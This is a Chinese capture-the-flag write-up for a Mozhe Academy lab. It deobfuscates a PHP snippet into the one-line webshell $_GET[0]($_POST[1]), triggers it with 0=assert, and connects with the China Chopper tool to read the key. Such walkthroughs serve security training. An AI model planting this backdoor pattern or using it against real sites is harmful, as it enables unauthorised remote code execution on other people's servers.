墨者学院靶场之PHP代码分析溯源(第1题)

时间:2022-12-15 21:40:24

申请靶场环境后

墨者学院靶场之PHP代码分析溯源(第1题)

点开题目

墨者学院靶场之PHP代码分析溯源(第1题)

一段奇怪的PHP代码

因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是)

墨者学院靶场之PHP代码分析溯源(第1题)

复制进去以";"来排个格式

运行下,报错。

看看源码,"$_"     "$__"     "$___" 这三个是变量名,我们用echo输出下内容

墨者学院靶场之PHP代码分析溯源(第1题)

连在一起了,但是可以确定

$_ => 1

$__ => _GET

$___ => _POST

然后观察最后一行代码,把我们变量给用值替换进去

${_GET}[!1](${_POST}[1]); 

把多余的{}去掉 [!1]也就是[0],整理下代码是这样的

$_GET[0]($_POST[1]); 

和一句话的$_POST[1]传参差不多了,那么$_GET[0]就是我们的函数名了

根据"b.php源码"提示去b.php目录下

用hackbar传GET和POST请求

墨者学院靶场之PHP代码分析溯源(第1题)

但是并没有返回phpinfo的信息。

这里又百度了下,学习到了新的知识点assert与eval的区别

我们改成0=assert

墨者学院靶场之PHP代码分析溯源(第1题)

phpinfo显现出来了,用菜刀连接下

墨者学院靶场之PHP代码分析溯源(第1题)

将key提交上去,正确。